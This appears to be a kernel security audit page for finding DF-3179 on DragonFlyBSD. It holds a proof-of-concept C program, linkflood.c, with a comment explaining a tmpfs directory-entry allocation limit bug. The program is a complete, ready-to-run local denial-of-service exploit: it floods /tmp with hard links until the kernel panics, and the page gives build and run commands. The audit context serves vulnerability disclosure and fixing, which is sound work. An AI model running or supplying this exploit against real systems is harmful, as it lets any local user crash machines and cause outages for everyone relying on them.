โฌข DragonFlyBSD Kernel Audit
DF-3179 / linkflood.c
โ† back to finding โ†“ download raw
/*
 * DF-3179 โ€” tmpfs dirent-zone limit panic trigger.
 *
 * tmpfs_mount() (sys/vfs/tmpfs/tmpfs_vfsops.c:200-207) creates a per-mount
 * malloc_type "tmpfs dirent" whose ks_limit stays at the malloc default
 * kmem_lim_size()/10 (sys/kern/kern_slaballoc.c:372) โ€” it raises ONLY the
 * node zone limit (kmalloc_obj_raise_limit at tmpfs_vfsops.c:206).
 * tmpfs_alloc_dirent() (sys/vfs/tmpfs/tmpfs_subr.c:306-307) allocates the
 * dirent with M_WAITOK and NO M_NULLOK, so when the per-mount dirent zone
 * hits its default limit the allocator panics:
 *
 *	panic("tmpfs dirent: malloc limit exceeded")   (kern_slaballoc.c:877,
 *	                                          same logic kern_kmalloc.c:706)
 *
 * link(2) is the cheapest filler: tmpfs_nlink() has no dirent budget check
 * (only per-node LINK_MAX), so each link() adds a 128-byte dirent + a short
 * name and consumes ZERO tmpfs nodes/pages.  On a 4GB box the default-boot
 * /tmp tmpfs panics after ~3.19M links ((RAM/10)/128) โ€” reachable by any
 * local user, no vfs.usermount needed, no mount syscall at all.
 *
 * Build:  cc -O2 -o linkflood linkflood.c
 * Run:    ./linkflood /tmp
 * Expect: kernel panic "tmpfs dirent: malloc limit exceeded" once the
 *         mount's dirent usage crosses kmem_lim/10 (~390MB on 4GB RAM).
 */
#include <sys/param.h>
#include <sys/mount.h>


#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	const char *dir = (argc > 1) ? argv[1] : "/tmp";
	struct statfs sb;
	char tgt[512], path[600];
	long long made = 0;
	long batch = 0;
	int fd;

	if (statfs(dir, &sb) != 0)
		err(1, "statfs(%s)", dir);
	fprintf(stderr, "target %s: f_type=%ld f_blocks=%lld f_files=%lld\n",
		dir, (long)sb.f_type, (long long)sb.f_blocks,
		(long long)sb.f_files);
	fflush(stderr);

	for (;;) {
		/* LINK_MAX batch base file (1 node per ~34000 dirents) */
		snprintf(tgt, sizeof(tgt), "%s/df3179_b%ld", dir, batch);
		fd = open(tgt, O_CREAT | O_EXCL | O_WRONLY, 0600);
		if (fd < 0)
			err(1, "open(%s)", tgt);
		close(fd);

		for (long i = 0; i < 40000; i++) {
			snprintf(path, sizeof(path), "%s_l%ld", tgt, i);
			if (link(tgt, path) < 0) {
				if (errno == EMLINK)
					break;	/* LINK_MAX(32767) hit */
				err(1, "link(%s)", path);
			}
			made++;
			if ((made % 200000) == 0) {
				fprintf(stderr, "links=%lld\n", made);
				fflush(stderr);
			}
		}
		batch++;
	}
	/* not reached */
	return 0;
}